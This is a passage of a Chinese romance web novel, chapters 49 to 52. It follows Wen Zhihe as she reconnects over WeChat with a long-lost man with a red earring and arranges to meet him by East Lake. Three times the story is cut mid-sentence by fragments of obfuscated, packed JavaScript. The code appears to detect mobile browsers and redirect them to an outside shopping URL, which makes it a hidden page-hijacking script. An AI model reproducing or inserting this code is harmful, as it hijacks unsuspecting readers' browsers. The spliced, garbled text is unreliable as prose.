他脖颈下有伤口。陈年旧伤,一辈子消不去的痕迹。 隔了这么远,艺术展上人又多,时不时便有人从两个人中间走过,一下遮住她的视线,一下又离开。如同流云遮月,时隐时现。 她就这么一直站在这里。 这种感觉,像站在梦与现实交织的边缘。一切都很脆弱,也许不小心一动,就全碎了。 周围的声浪,在视线所及的那个人抬起头时,慢慢变轻、变缓。 他同她对上视线。 他看起来好像没有变,轮廓干净,那双漂亮的眼睛被树影子遮了一半,明暗不定,显得有些不可捉摸。 仿佛六年的岁月从他身上一跃而过,没有留下半点痕迹。 她长了张嘴,但没有发出任何声音。不知道该说什么。 他也没什么动作,只是静静地看着她。 喧嚷人潮中的这不起眼的僵局,被一个声音打破。有人叫温知和的名字。 49. 第四十九章 “知和!” 头发半白的欧阳老师乐呵呵地从教学楼里快步走出来,半路里便伸出了双手,到了温知和面前,给了她一个拥抱。 又拉着她朝梧桐树底下走。 这么一段距离,刚才时间接近凝固的时候看着远,其实走几步就到了。 温知和刻意低着头。地上阳光斑驳,人的影子融在树影子里。 欧阳老师给他们做介绍,“都还不认识吧?知和啊,这帮人,”老太太的目光从几个人脸上扫过一圈,眼睛里全是笑,“应该算你的学长学姐,大你六年,是我带你们班前上两届的学生。” 她又轻轻拍了拍温知和的肩,“这是温知和,你们的小学妹。当年中考也是全市前十呢。” 几个陌生人都笑,跟温知和打招呼。 她看见,唯有那个人的影子仍没动静,树叶影子摇晃,拂过他头顶。 不等她给这些老学长学姐回应,忽然有个陌生男音笑道,“其实也不算是不认识吧。”又有拍肩声,“修成,这姑娘不是你的相亲对象吗?” 温知和愣了一下,一抬头,这时才发现马修成也在这群人里。旁边的其他人多少也有些眼熟。前几周在郊区别墅的校友会上,他们好像就坐在阳台上的另外一桌。 只是她的注意力一直在另一个人身上,竟是没察觉。 马修成一时有点尴尬。所谓的相亲不过是年轻人哄着长辈,混了一次饭、一次散步而已。谁也没上过心。他推了推眼镜,“只是吃过饭,大家都是不得已。”他又看向她,礼貌笑了笑,“你好,知和。” 她向众人一一问好。只是,避开了那个一直没说话的人。 他的目光早已从她身上移开,抱着手臂,抬头看着不远处垂下来的梧桐枝叶。风吹叶动,阳光在那枚赤红的耳钉上流转。 也许是人多喧闹,谁也没注意到他没跟学妹打招呼,又或许是他天性疏离,周围人早已习惯。没人点破他一言不发。 欧阳老师道,“摆出来的摊子你们都去看了没有?” 马修成说,“看了一两个,现在的学生创造力真不得了,比我们那时候厉害多了。” 还有人说,“我们刚才去算命了。别说啊,真有两把刷子。” 故友、师长,难得一见。众人笑谈起来。温知和这会儿没什么聊天的兴致,欧阳老师以为她怯生,时不时有意把话头递过来,把她带到气氛里去。 那个人也开了口。他那么自然地便融入了众人的交谈里,偶尔带些机锋,还颇有意趣。分明能跟人相处得很好。 他一次也没有接过她的话。 像两条在迷宫里穿来穿去的线,跟墙碰一下,跟地缠一下,绕啊,绕啊,画出了无限曲折的运动轨迹。唯独彼此之间从无交集。 这里除了她,似乎谁都知道他的过往。闲聊的气氛太好了。甚至没人想起来告诉她,他是谁、叫什么名字。 温知和不知不觉把手背身后,攥紧了手指。右手捏左手,生疼。除了疼,手里什么也没有,空的。 时间过了两点,艺术展正式开幕,原本便已十分热闹的校园越发拥挤熙攘,每一个小摊子前都围满了看客,梧桐树底下也来了别人,三五成群,各有各的吵闹。 欧阳老师道,“好了,你们也都不小了,我不强留你们。喜欢逛就多逛逛,嫌幼稚就自己找地方去玩。晚上吃饭啊,别忘了,说好了的。” 学长学姐们笑盈盈地答应。 欧阳老师又转头来看温知和,“你怎么样?我现在带的班今天也有摊子,是一起过去看看,还是你想自己到处逛逛?” 温知和说,“晚上要吃饭?” 欧阳老师一点头,“是啊,知和也一起来吧?” 温知和慢慢放开背在身后的手,视线第一次不偏不倚地落在那个人身上。“不了,”她说,“学长学姐同学聚会,应该有很多话要说。我就不去打扰了。” 然后,她的目光轻盈掠过他,看向老师,“我自己逛逛就好。欧阳老师班的摊位在哪里?晚点我去捧个场。” 欧阳老师往操场上的某个方向指了指。 不过几分钟的光景,梧桐树下便散了。一帮老同学有说有笑地往一个方向走,欧阳老师被学生叫住,去了另一边。 温知和也走出了几步。先是看了算塔罗的摊子,又看了玩扑克牌的。时间一分一秒地过。天气越发热了。 在水晶球摊子前排队,终于排到的时候,摆摊的学生望了她一眼,犹豫一阵,很小心地说,“你还好吧?” “……什么?” 她开口,声音低得不对劲。抬手,用手背拭过脸颊,发觉是湿的。 眼睛在发烫。原来不是天热的原因。 学生抱着水晶球看着她。 温知和笑了笑,带点自嘲。正要走,却又转回身来,问道,“你刚才有看到一个人吗?”她指着左耳耳垂,“他这里戴了个红色的耳钉……” 她疑心他是错觉,本来还要描绘更多。 可学生已连连点起了头。“看到了呀!刚才就站在树底下嘛,帅得有点鹤立鸡群了,我们都在议论他。” 说完,学生眼睛亮晶晶地问温知和,“姐姐你认识那个人不?有没有他的联系方式?” 温知和低声道,“我不认识他。也没有他的联系方式。” - 深夜。 这是一间很温馨的卧室,词典、玩偶、照片摆台,乍一眼看去大大小小的东西不少,摆放得相当整齐。只偶尔,在随手摊开的书本、忘了合上的抽屉等细节里流露着鲜活的生活气息。 这么晚了,床头处的被子里仍亮着微光。 手机屏幕的光。 温知和盯着手机屏幕上的微信聊天框,许久没动作。然后,翻了个身,锁了屏。卧室里黑了下去。 没几秒钟,手机光又亮了起来。她不过是换了姿势,继续盯着屏幕。纤细的手指好几次从距离屏幕只有一两厘米的位置上划过,却迟迟没有按下去。 输入框里始终是一片空白。 就这么翻来覆去,时间越来越晚了。微光亮了又暗,暗了又亮,如同飘忽不定的心。 她忽然深呼吸一下,一翻身,用手肘支着上半身趴着,手机放在枕头上,飞速在聊天框里敲下一堆字。 对面是马修成。 她输的文字是,“你好,打扰了,可以冒昧要一下今天那位戴红耳钉的学长的联系方式吗?” 就这么简单的一句话,在锅边打着转等水沸腾似的,要等温度一点一点累积起来,直到抵达沸点,靠着满满的氤氲白气遮住不安、惶恐和难堪,终于一口气打出来。 却在按下发送前又停住了。 她蓦然看到手机屏幕最上方显示的时间。 凌晨四点半。 ……这么晚,显然已经不适合发消息了。 温知和长叹一声关了手机,撑着身体的手软下来,人于是瘫在床上,脸埋在枕头里。 没有光,卧室里黑漆漆的,什么也看不清了。 只听见床上仍不时响起窸窸窣窣翻身的声音,就这么样的,外面渐渐天亮了。 - “知和,晚上没睡好吗?” 早上在客厅吃早餐的时候,温妈妈问了一句。 温知和打着呵欠,含混地说,“有一点吧。” “熬夜写论文了?” 常年做好孩子就是有这点好。偶尔不自律了,做点混事,大家也会习惯性地把人往好了想。 温知和咬了一口鸡蛋饼,咽下去,又转了转自己有点酸痛的脖子,道,“区区论文还不配我熬夜。” 温妈妈笑道,“写得怎么样了?” “还行吧。师姐帮我看过了,说没大问题。” “那就够了呀。你反正也不走学术,论文能过行了,没必要逼着自己继续改,尽善尽美。” “我有点强迫症……做了总要做好嘛……” 本来是母女俩好端端的对话,一旁被搁置了的第三人非要凑进来插上两句。温爸爸说,“你要不也发我看看。我高低也是Z大教授。” 温知和瞟过去,“我学的社会学。” “我知道啊。” “那你知道你是教数学的吗?” “专业评审要有,大众评审也可以有嘛。拿来我看看。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235746|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不给。我吃完了,拜拜。” 温爸爸嘟哝了几句,与此同时,温妈妈弯下身去往狗碗里加吃的,冬哈闻着味就从阳台那边跑了过来。雪白的大毛团子从温知和脚边蹭过去,暖暖的。 妈妈道,“今天吃这么快?” “我有事。” “不是没课吗?” “……别的事。” 说完,温知和不再解释,端着自己的碗到厨房迅速洗了,便一溜烟地回了卧室。 她端坐在书桌前。伸出一根手指,按开了手机。然后,点开微信。 昨天晚上编辑好的那条信息仍在输入框里。 她轻轻按下发送。 早晨七点多的阳光从玻璃窗外照进来,屏幕上微微反光,半映出她自己的脸。 聊天框左侧忽然接连冒出几个白条,温知和几乎吓了一跳。马修成回得很快。 他说,“哈哈好的。” 又说,“我也是最近才联系上他。不过,我确定他是单身。” 接着是一张微信名片。 马修成最后还补了一句,“加油。” 这位学长显然是误会了些什么。温知和想。 不过,抛去言辞间的调侃意味不谈,他的确帮了忙。温知和一再道谢,没多解释什么。 接着,又点开那张名片。 她做了好多心理建设。 那个人,六年不见,音讯全无,甚至生死不明。这张微信名片,像她在人海里兜兜转转,终于捉住了他的衣角。 他们共同的故乡就这么大,原来千丝万缕地早就有间接关联。他的老师是她的老师。他们读过同一所学校,可能连教室都是同一间。说不定十几年前她是小孩子,他是小少年,甚至在街上有过照面。 他的微信名只有两个字母,LY。 他的头像更简单,是一张微信默认的卡通图。还挺可爱的。与其本人之间的反差,令温知和不由莞尔。 除此之外,什么信息也没有。 她点开申请好友的页面,却又迟迟没有动作了。不是出神发呆。相反,脑袋里高速运转着,牙齿不自觉地咬着下唇。 该说些什么好呢? ——问他还记不记得她? ——问他这么多年在哪里? ——还是装着陌生一点呢? 她在输入框里打字,写满了,又删掉,然后重新写。又再次删掉。 小小的框里,付出的心力比几万字的毕业论文还多。 她最后发出去的那句话很简单。 “我是温知和。” 一按发送,她立马关了微信,又关了手机。站起身来,正要去旁边书柜上拿本书,忽然想起什么,立马又把手机拿起来了。 ——检查自己的朋友圈。 应该没发过什么奇怪的东西吧? 温知和快速往下滑,不断审视着。她吐槽过学术文献,转发过喜欢的歌手的新歌,发过和朋友们一起出去玩的照片,心情不好的时候也发过一些表情包…… 有一天她发过自己和冬哈。但照片是爸爸拍的。那上面,她顶着乱糟糟的头发,被冬哈撞了脸,表情奇异。 温知和立马删了。 还有一天,她发了一幅自己画的彩画。蔚蓝的大海上飘着一艘船,甲板上有个人影,身影模糊不清,但一抹赤色格外显眼。 别人不知道,他要是看了,会不知道么? 她立马改成了仅自己可见。 好几年的朋友圈,如同一座高塔,她一层层探查下去,格外认真,不愿留一丝破绽。 刷到最后一条见底的时候,已经过了很久。 她小小地完成了一件事,略微轻松了些。随手从朋友圈滑出来,回到联系人界面。 几个红点,来了几条消息。有俞则随口吐槽公司的奇葩同事。有学院大群辅导员通知讲座活动。也有家族群里姑姑婶婶们在聊八段锦。 没有他的消息。 他依然没有通过她的好友验证。 她抬眼看向屏幕顶端的时间。 十一点五十四分。 一整个上午竟已经过去了。 50. 第五十章 “然后呢?就一直到现在都没加上?” 旋转寿司店里人不多,昏黄的光线映在金属台面上,泛着冷色。白饭团上搭着鳗鱼、鹅肝、甜虾、火炙帝王蟹,一盘一盘转过来,色泽相当鲜美。 俞则问那个问题时,没注意自己一筷子扎进了芥末。夹一块北极贝起来,上面沾得绿油油的,送进嘴里,差点咳出声来。 温知和一点食欲也没有,面前也没几个碟子。她拿起手机,又看了一眼。“……是啊。” 一偏头,她看见俞则脸上扭曲的表情和筷子上残留的芥末,顺手给好友倒了一杯果汁。挺解辣。 俞则缓过来了。“呼……你确定那是他?” “长得一模一样。” “是真的‘一模一样’的那种‘一模一样’,还是单纯眼睛、鼻子、嘴巴之中的某一个比较像?” “真的一模一样。是本人不会错的。” “当时你们俩一句话都没说?” “没。我觉得他在回避我。” 俞则放下筷子,双手撑在台面上,望着温知和非常认真地说,“所以……你是真的喜欢他?” 温知和道,“我以为你一直都知道?” “之前他只存在于传说里嘛,就像故事中的人一样……” 一场沉船,消失在大海,下落不明。本身的来历也从一开始就扑朔迷离。怎么听都不像真人,像隔了一层拨不开的雾。 因此温知和对他的感情,听着也总让人觉得带着点飘渺的意味。 如同一场盛大的浪漫传奇,写在纸面上,就此终结,或许能成为一个引人追忆的好故事。可要说那人走到现实里来…… 有一种次元壁破了的感觉。 俞则道,“你知道他现在是做什么的吗?” “不知道。” “你知道他为什么回国吗?” “不知道。” “你知道他叫什么名字了吗,现在?” “不知道。” 俞则用手指节狠狠地敲了敲台面,那力道,仿佛底下不是台面,而是温知和的脑袋。“要我给你梳理这有多不靠谱吗?” 温知和脸上依然很平静。“不用,我知道。”她微微垂下眼睛,睫毛投下淡淡的阴影,“但我就是喜欢他。” 她又说,“他的身世过往,六年前为什么消失,现在为什么出现,他变成了什么样的人……反正,先接触一下看看。我是这么想的。” 俞则道,“如果最后发现他这个人其实很糟糕呢?” “那也不错啊,”温知和说,“那我就可以死心了,不用继续这样惦记着一个人也挺好的。” 她忽然笑了笑,“说起来,他是真的还活着,还在这个世界上……就已经挺好的了。” 俞则一时没有说话,然后,从旋转台上拿了好几盘寿司下来,呼啦啦全堆在温知和眼前。“退一万步说,你们要是真的联系上,见面的时候记得约在人多的公共场合。” “他不是坏人。” “六年前不是。” 俞则咬重了六年前三个字,温知和笑起来,说,“我会注意安全的。” 旋即,她笑容又微微一暗,拿起手机看了看,仍是毫无消息。 见面太遥远。 现在连他的衣角都还没完全捉住。 一直没有回应,是因为他在忙别的事,没有看手机,还是……有意忽略了呢? 温知和抬起筷子,夹了几块寿司,塞进嘴里,不是太咸,就是太腻。厨师没有错,只是心情才是最重要的调料。 俞则摇摇头,也一连吃了好几块。最后,终于放弃了似的,再次放下筷子,露出妥协的表情。“好吧,我也只能站你了。这样的话,到目前为止有很多好迹象啊。” “好在哪里?” “首先是你们昨天在学校里遇见的事。他心里要是没点什么,干嘛故意不理你?” “是么……” “其次他的同学,你相亲遇到的好人,不是也说他单身吗?” “嗯。” “最后即使他一直不加你微信,也还有另一条线可以去了解他。” “你是说欧阳老师?” “从昨天的事听来,他还在学校的时候欧阳老师一定就很喜欢他。欧阳老师你是知道的,她那么关心学生,大大小小的事她知道不少。” “可她未必会告诉我。” 俞则竖起一根手指,很有国师风范地晃了晃。“不要小瞧了阿姨们对牵红线的热情啊。” 两个好友相视一阵,忽然都笑了起来。温知和又给俞则倒了一杯果汁,水声入杯,泛着光的橙黄色渐渐满上。如同饱满起来的心情。 温知和在心里想好了措辞,拿起手机,正要给欧阳老师发信息—— 蓦地看见微信页面最上面多出了一个聊天框,里面是那条自动的系统消息。时间是五分钟前。 【LY:我通过了你的朋友验证请求,现在我们可以开始聊天了】 除此之外,对面什么话也没说。 她好半天也没动一下。 - 深夜。 仍是这间很温馨的卧室。午夜十二点已经过了,枕头处还亮着手机屏幕的光。 温知和趴在被子里,盯着始终停留在“我通过了你的朋友验证请求……”的微信聊天框。 锁了屏,黑下去。 隔一阵,又再次打开,屏幕光再次照在脸上。 明明跟好友吃饭时,还那么轻易地便说出了“反正先接触一下看看”这样的话,现在却迟迟跨不出下一步。直到现在都没在输入框里打出过哪怕一个字。 对面是他本人。 他——本人。 之前朝马修成要联系方式的时候,虽也需要决断与勇气,但多少有点雾里探路的意思,前面看不清,闭着眼睛觅着头,跨过心里那道坎,手指在屏幕上啪啪敲几下,事情也就做完了。就算不成,也不过是在没什么交集的前相亲对象面前尴尬一下而已。 现在,却仿佛全世界所有的光都凝聚在这小小的屏幕上,时间也凝固了。 说几句话,敲一敲屏幕,如有千斤之重。 温知和望着锁屏界面上的时间数字一点点变化着。 1:00。 1:05。 1:30。 一切始终如故。 1:45。 2:10。 2:12。 时间仿佛失去了刻度。有时一晃眼就是半小时,有时煎熬了许久,却原来才过了两分钟。 2:24。 2:57。 3:00。 温知和心烦意乱,把手机狠狠摁在枕头上,起身下了床。光着脚,到了书桌前,打开台灯。暖色调的灯光在夜色里染出一片小天地,她坐在这里面,从带锁的抽屉里翻出了一个日记本。 承载物名为“日记本”,里面的内容却并非严格意义上的“日记”,有时几个月写一次,有时一天写几次,全凭心情,有感而发。 其中有相当多的篇幅与那个戴着红耳钉的青年有关。 眼下情形,她把这些陈年记录翻出来,并不是为了沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250023|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湎往事或寻找某种思绪。而是在试图抄作业。 写了那么多有关他的东西,总有一两个句子能挑出来救救急,当作开场白使用吧?再不济,也能做重整词藻的灵感库。 她很认真。 时不时看到几句好的,还拿出纸笔,仔仔细细地誊抄下来备用。 一页又一页翻过去。 抄下来的东西越来越多,时间也越来越晚。如此认真的架势,究竟是因为小小的日记本里可用的素材太多,看也看不完,还是心中忐忑,不过是在装模作样地拖延呢? 日记本翻完了。白纸上写满了。 她低头看着上面的字句,凝聚思绪,把它们当作一串串珠子,揣摩着该如何连出最漂亮简洁的图形。 前晚上没睡,今晚上也在熬,此时此刻,大脑竟异常清醒。 她终于有了思路。一段不长的、若无其事的开场白渐渐成形。写下来,修改字句,在脑海中过了一遍、一遍。 终于是拿定了主意。 温知和回到柔软的床铺里,拿起手机,正要输入,却蓦地发现约莫一个半小时前已经有一条消息发了出去。刺目的绿色文字框里塞得满满的。 【&……%银河进去了%?#我们的生活……*&%?#】 一团乱码,毫无意义。 ……应该是下床前把手机往枕头上摁的时候误触了。 温知和愕然地关上手机,又蓦地把它重新打开。屏幕上亮亮的,早已撤不回的绿框框让她的心凉凉的。 捏碎手机能把这团令人社死的玩意一起带走吗? 她现在去找黑白无常申请注销这个地球ol账号还来得及吗? 或者在太阳升起之前能不能来个外星人摧毁一下世界? “……” 温知和头皮发麻。 她硬着头皮在聊天框里输了一段解释的话,但又觉得多此一举,更加尴尬,一下子全删了。 大脑里一片混乱,时不时还浮现起刚才集日记本之大成,千辛万苦编出来的“完美开场白”,现在只觉得可恨。当她在台灯下勤奋思索的时候,趴在枕头上的手机里已然吐出了一个社死炸弹。她在桌前越是努力精进,字斟句酌,手机里的炸弹就越来越明晃晃。 温知和翻身仰在床上,高高举起手机,苦着脸。越看越觉得那块绿框文字面目狰狞,甚至想掩耳盗铃,找块胶布往那儿一贴,只当没看见。 她长长地呼出一口气。 深夜寂静,卧室里只有屏幕上这么一抹光。她抬眼,看向最上方的时间。 4:37。 距离乱码消息发出,已经过了一小时三十七分钟。绿色文字框如同一叶离岸的小舟,在水里独自飘着,没有任何回音。 她毫无道理地有点失落。 这么晚了,正常人早就睡了。谁会大半夜的回消息? 他应该……不是故意不理她。 她在火车上第一次遇见他的时候,场面就挺尴尬的。这会儿六年过去,一场重逢,居然还是这么尴尬。 思及此,温知和不由狠狠地闭了闭眼睛。 再一睁开时—— 凌晨4:39,正常人睡得最熟的时候,手里高高举着的手机毫无征兆地震动一下,屏幕上的聊天框里蓦地跳出一条消息。 【LY(默认卡通头像):学会喝酒了?】 手机差点砸在脸上,温知和从床上弹跳坐起,盯着这条怪兮兮的回复看了好几次,终于噼里啪啦敲出了回应。 【论文盒子(熊猫写论文表情包头像):……那个,你在说什么?】 51. 第五十一章 黑漆漆的夜里,枕头上的手机屏幕光只够把周围照亮一点点,仿佛无边黑海里一只孤零零的小船。 下一条消息只隔了几秒钟就回来了。 【LY:不是喝醉了,怎么发这种消息给我?】 温知和很诚实。 【论文盒子:……】 【论文盒子:是误触屏幕】 他回得很快,但也很简单。 【LY:嗯】 就没了。 温知和趴在被子里,脑袋埋得很低,长长的头发垂落下来散在枕面,半包围了手机。也许是盯得太紧离得太近,一呼一吸间,手机屏幕上一下蒙着薄薄的白雾,一下又散去。 他没再说话。 她立马敲一行字下去。生怕多耽搁一秒钟便会起了思绪、起了怯意,一打完就点了发送。 【论文盒子:你这么晚还不睡啊】 她盯着屏幕。眼睛只有细微的运动,在微信聊天框与屏幕顶显示的时间之间来回转。 代表分针的数字变了三次。 终于。 【LY:嗯】 这么短的回应,瞟一眼就看完了。她觉得心里也像是刺了一下。 可那刺忽然又开出了花。 【LY:论文盒子也没睡】 她瞅着这个称呼,不知怎么的有点想笑。好像能想象到他说这句话时的神情。 她把手机捧在手里,翻了个身,变做侧躺。膝盖微微曲着,身体朝下弓着,据说这是最让人有安全感的姿态。像抱着什么。 【论文盒子:你在忙什么吗?】 【LY:我在东湖公园】 【论文盒子:诶?】 大半夜的,在东湖公园?周围恐怕一个人也没有。温知和想问他在那边做什么,但还是忍住了。 【论文盒子:这么晚了,外面应该挺凉的吧】 【LY:还好】 【LY:好像有萤火虫】 【论文盒子:真的?看看】 聊天框里沉寂了几分钟。温知和也没切界面,呼吸的温度扑在屏幕上,手指微微滑动,把刚才那么寥寥可数的几条消息慢慢地从头滑到尾,又从尾滑到头。 下面忽然来了新消息,那边发来几张照片。 黑夜里一切都显得模糊。远处的湖面上隐约泛着月光,可除了这些许的亮,其余的一切都融进了黑暗里。近处,幽幽的灌木丛像伏在夜色里的兽,看不清细微处的皮毛肌肉,只看得见轮廓剪影。 所谓的萤火虫少得几乎看不见。 温知和盯着几张图努力辨别着,一会儿放大这里,一会儿放大那里,才勉强找到了几个可疑的光点。 正要说点什么,对面又来了新的图。 萤火虫多起来了。 接着又是一张。 再一张。 照片里的萤火虫如同烟火逐渐绽开,化出最盛大的形状,到了最后,灿烂得让人移不开眼睛。那是地面上的活星火。它们的光,隐约照出了公园长座椅的一角,还有坐在上面的那人落在灌木丛里的影子。 一个非常模糊的影子。轮廓随不规整的灌木而曲折,几乎与周遭融为一体。 她竟久久地移不开视线。 也许是她沉默得太久,他又来了一条消息。 【LY:睡着了么?】 【论文盒子:没】 【论文盒子:你一个人?】 【LY:嗯】 【论文盒子:好漂亮的萤火虫。好多啊】 【LY:以前更多】 【论文盒子:以前?】 【LY:以前湖边到处都是,很多人还会拖家带口来露营】 【论文盒子:好热闹】 【LY:嗯】 【论文盒子:你也去过?以前】 编辑这条消息的时候,温知和没想太多。一发出去,却忽然有一种熟悉的感觉涌上心间。 她想…… 果然。 【LY:还不睡?】 他还是这样,不想接话的时候,话题转移得毫无铺垫。 她小小地撒了个谎。 【论文盒子:我在写论文】 【LY:键盘自己写么?你在玩手机】 【论文盒子:……】 【论文盒子:我有资格中场休息】 黑漆漆的卧室,被子里透出来的微光映在墙上,时不时便有点晃悠。偶尔会变暗,出现丝状的阴影,让一切变得更加朦胧。那是长长的头发无意中遮住了作为光源的手机屏幕。 她就这么一句一句地和他说下去。 多奇怪。开口以前犹豫了那么久,千般顾虑,万种犹疑,好像前面挡了无数座难攀的山,每走一步都要凝聚勇气。可一旦真说上了话,一切却都如此自然,一句连着一句,如同水流一般。 渐渐地,天亮了。鱼白的光在窗外蔓延,渗进来,将空气一点一点晕染。躺在被子里的人毫无察觉,过了很久,一转头,才发觉天已大亮,朝阳的光就照在脸上。 是很明媚的天气。 她又打字。 【论文盒子:天亮了】 【LY:嗯】 【论文盒子:湖边日出是什么样?】 隔了几秒钟,他发了照片过来。宽广的湖面上波光粼粼,金色的朝阳洒在上面,拖得很长,像一条通往天际的道路,有一种很神圣的感觉。 可惜摄影师的技术水平实在很一般。 她想说,你可以改改构图的,还有,不要拍到旁边的垃圾桶。可又一直很想笑。仿佛金色的朝阳从屏幕里透了出来,流进心里。 手机又是一震。 【LY:经常通宵写论文么?】 【论文盒子:没,今天第一次】 【LY:熬夜不好】 【论文盒子:你也熬了】 【LY:我又不上学】 【论文盒子:……我今天也没课】 很容易接的一句话。过去的几个小时里,诸如此类的情形出现过一次又一次,河流分叉,枝节蔓生,话题无穷无尽地延展开去。 这一次,他隔了一阵。 【LY:该睡觉了,论文盒子】 【论文盒子:……确实】 【LY:嗯】 【论文盒子:那个】 她半天没下文。 小半个晚上飞扬起来的情绪,随着早间阳光愈来愈烈而渐渐静下去。好像河流断了水,面前再次长出了无数座难攀的山,一道道,一重重,让人看不清路。 他一直没说话。 也许是在等。 也许早关了手机。 温知和终于把字打出来。 【论文盒子:你最近会一直在淮市吗】 她过了很久才收到回应。不是心理意义上那种煎熬、忐忑的“很久”,而是真的很久。一直到她不自觉地抓着手机睡着了,屏幕上的聊天框里,都依然是静静的,只有她发出去的那条绿框消息。 她一觉睡到下午,自己做了饭,吃完,又洗了碗,还出去溜了冬哈一圈。回到家里,打开电脑开始改论文,一面敲着键盘,一面翻着手边的文献。有地方卡住了,于是把手机拿起来,想找师姐问问。 这时距离她发出那个问题,已经过了十二个小时。她终于看见他的回复。 【LY:明天见一面吧】 - 一大早就开始下雨了。外面灰蒙蒙的,城市的喧嚷声像是被水淹没了,显得很安静。 温知和对着镜子化妆。她生得漂亮,平时带妆都是锦上添花,可这会儿却静不下心来。一会儿走神,把眉毛画出了界,一会儿又太过紧张用力过猛,刷子一扫,鼻影直接黑了一块,不停地错,不停地补改,磕磕绊绊的。 到最后就烦了。画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258117|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一半的口红往桌子上一扔,到卫生间去把妆全卸了,用力洗了把脸。 她抬起头来。 透亮的镜子里,一张素净的脸上湿漉漉的,水珠冰凉。些许头发也打湿了结在一起,显得乱,仿佛是具像化了的心神不宁。 她以为镜子里的自己会是前所未有的忐忑表情。 可白晃晃的灯光照着,原来她是在笑。不很舒展,甚至有些自嘲。但毕竟是个笑。 温知和拿毛巾擦干净了脸。既然都不化妆了,衣服也不必太讲究。她从衣柜里拿了平时上课穿的衬衫和休闲裤换上,又半蹲在化妆镜前随手扎了个高马尾。 出门的时候,正给门边的几盆多肉浇水的温妈妈还以为她只是和平时一样去跑步。“外面下着雨呢。” “就吃个饭。” “什么时候回来呀?晚饭要不要等你?” “不知道。”温知和系着鞋带的手微微一顿,然后,结还系错了。“……再说吧。” 她随手从门边柜子抽屉里拿伞,最常用的那把黑伞偏偏坏了。温妈妈放下浇水壶,到客厅给她拿了一把红的出来。 温知和出了家门。明明是几乎每天都会重复的一个动作,偏偏今天,像是什么仪式。仿佛一脚跨进了雾蒙蒙的未知里。 雨越来越大了。 她看向天空,想起一个遥远的暴风雨之夜。 两个人约定的地点是在东湖公园,温知和坐地铁过去,换乘了几条线,一路上就听着广播女声报站名,盯着车墙上的线路图发呆。 等到了公园门口,离说好的时间还有足足两个小时。她出来得实在是很早。因为要见的是太特殊的人。 工作日的上午,又下着雨,来东湖的人还是那么多。有本地的退休老爷子老太太们在仿古长廊里坐着下棋,也有不少外地游客走走拍拍,雨中的喧嚷,倒是别有意趣。 温知和撑着红伞走在人群里。 东湖粼粼,杨柳依依。 因一只手要撑伞,她用闲着的另一只手比了半个取景框,如同拍照一般朝着周围缓缓转了半圈。 ……总觉得似曾相识。此情此景,好像在哪里发生过。她有些迟疑,但又记不清。 这种事并不罕见。很多人都曾在生活中的某个刹那产生类似的感觉,仿佛过去与当下,抑或是梦境与现实,短暂地交汇出一个节点。 人间里到处是风景。手指比出的半个取景框里呈现出一幕幕画面。 一群小孩子在大道上骑自行车,淋着雨,哈哈在笑。 路边有几个摆算命摊的老妇人,大伞边沿在滴水,沾湿了桌子,不停地在擦,嘴里还抱怨着。能测算几十年的运命,却算不到小小的天气。 一幕一幕,仿佛应证着什么。温知和心里那种似曾相识的感觉越来越强烈了。旋转的脚步也越来越慢。 雨中的湖面上缓缓驶过观光船,近岸垂柳微微在动,底下有一个带着红耳钉的年轻人。 温知和蓦地僵住,张了张口,却发不出声音。 却就在这个时候—— “各位亲爱的游客大家好,欢迎乘坐东湖观光游览车,我们现在正驶过……” 亮蓝色的开放式观光车从她面前开过,载满了人,载满了喧嚷,一辆接着一辆,好像一道厚厚的墙。路人们都在闪躲。 温知和根本过不去。她被人群挤着,连伞也歪了,些许雨水落在脸上。她用手背擦去,在车与人潮的缝隙里朝湖边不停地望。看不清。 一分多钟过去,观光车们总算是走完了,让出了主路,挤在一起的人群也终于可以散开。 温知和仍在原地。 没了遮挡视线的车墙,即使站在这里,也能远远看见那棵湖边柳树。 她觉得方才的一切好像在梦里出现过。 又觉得或许现在才是梦。 细雨如织,青绿的垂柳随风而动,那个人依然在那里。 52. 第五十二章 她提前了两个小时到,他居然也这么早。 从这里看过去是他的侧影,撑着一把黑色的大伞,眺望着雨点散落的辽阔湖面。轮廓线条清俊,也许是因为视线微微垂着,显得有些漫不经心。 黑伞。黑衣。蒙蒙的烟雨里,整个人的色调就那么简单。唯有左耳下的那抹赤色鲜活。 他相貌本就出众,气质也清冽,站在那里,周围人有不少打量的。但没人敢上前。 温知和想着,按一般的社交礼貌,约定是几点,就该是几点,即使提前到了也未必就意味着应当提前去打招呼——因为摸不准对方在这段空档里是不是有别的安排。 脑袋里这么想着,脚下却早就动了,踏着雨,穿过人群,朝他走过去。 他一向敏锐。 她还没到他面前,他便已察觉到脚步声,眼睛微微一动,看了过来。 